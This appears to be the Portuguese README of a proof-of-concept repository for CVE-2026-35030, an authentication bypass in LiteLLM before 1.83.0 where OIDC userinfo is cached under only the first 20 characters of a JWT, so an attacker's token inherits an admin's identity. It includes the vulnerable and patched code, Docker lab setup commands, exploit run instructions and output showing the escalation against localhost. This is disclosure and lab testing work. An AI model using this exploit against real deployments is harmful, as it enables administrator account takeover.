# Código vulnerável (pré-1.83.0)
cache_key = token[:20]   # Apenas primeiros 20 caracteres!

<header>.<payload>.<signature>

1. Admin autentica → LiteLLM busca userinfo → em cache com chave = token[:20]
                                                                    ↑
2. Atacante cria JWT com mesmo algoritmo (RS256) ────────────────┘
   → token[:20] é IDÊNTICO → cache HIT → herda identidade do admin

# 1. Construir e iniciar LiteLLM vulnerável + fornecedor OIDC simulado
docker compose up -d --build

# 2. Instalar dependências Python
pip install -r requirements.txt

# 3. Criar utilizadores de teste (necessário para autenticação JWT — chave mestra necessária)
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "attacker", "role": "proxy_admin"}'

# 4. Demonstrar a colisão de chave de cache
python3 exploit/exploit.py --mode demo

# 5. Executar o exploit completo (bypass de autenticação via colisão de cache)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000

# 6. (Opcional) Verificar que está corrigido na v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed

[+] Admin JWT    (subject=admin):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[+] Attacker JWT (subject=attacker):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[🔥] COLISÃO: Ambos os tokens partilham os mesmos primeiros 20 caracteres!
    Razão: Ambos os tokens usam assinatura RS256 → header JWT base64 idêntico → primeiros 20 caracteres idênticos
    → cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'

[VULNERÁVEL] Tentativa de Exploit — target: http://localhost:4000

[*] Passo 1: Obtendo JWTs do fornecedor OIDC...
    Colisão de prefixo: True

[*] Passo 2: Enviando JWT do admin para o LiteLLM (preenche cache OIDC)...
    HTTP 200
    Resposta: {"user_id": "admin", ...}

[*] Passo 3: Enviando JWT do atacante (tentativa de colisão de cache)...
    HTTP 200
    Resposta: {"user_id": "admin", ...}   ← ADMIN HERDADO!

[🔥] EXPLOIT BEM-SUCEDIDO! Atacante herdou identidade de admin!
        token[:20] do atacante coincidiu com a chave de cache do admin.
        Resposta user_id='admin' (esperado 'admin' para escalação)

[CORRIGIDO] Tentativa de Exploit — target: http://localhost:4001

[*] Passo 1: Obtendo JWTs do fornecedor OIDC...
    Colisão de prefixo: True

[*] Passo 2: Enviando JWT do admin para o LiteLLM (preenche cache OIDC)...
    HTTP 200
    Resposta: {"user_id": "admin", ...}

[*] Passo 3: Enviando JWT do atacante (tentativa de colisão de cache)...
    HTTP 200
    Resposta: {"user_id": "attacker", ...}   ← PRÓPRIA IDENTIDADE preservada

    [+] Atacante identificado como user_id='attacker'.
        Versão corrigida: colisão de cache prevenida.

# Vulnerável (pré-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}"   # Apenas primeiros 20 caracteres!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
    return cached_userinfo  # Cache hit → ignora busca userinfo!

# Corrigido (v1.83.0+) — mesmo ficheiro, linha 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"

CVE-2026-35030/
├── README.md                    # Este ficheiro
├── docker-compose.yml           # LiteLLM vulnerável + corrigido + OIDC simulado
├── litellm_config.yaml          # Config LiteLLM com autenticação JWT ativada
├── requirements.txt             # Dependências Python (PoC)
├── litellm-vuln/
│   └── Dockerfile               # LiteLLM vulnerável v1.82.5 com patch enterprise
├── litellm-fixed/
│   └── Dockerfile               # LiteLLM corrigido v1.83.0+ com chave de cache sha256
├── oidc-provider/
│   ├── Dockerfile               # Imagem do fornecedor OIDC simulado
│   ├── requirements.txt
│   └── server.py                # Mock OIDC (FastAPI)
├── exploit/
│   ├── exploit.py               # Script PoC principal do exploit
│   └── token_forge.py           # Utilitários de colisão JWT
├── docs/
│   └── advisory.md              # Referência do aviso
└── screenshots/
    └── README.md                # Placeholder para screenshots de prova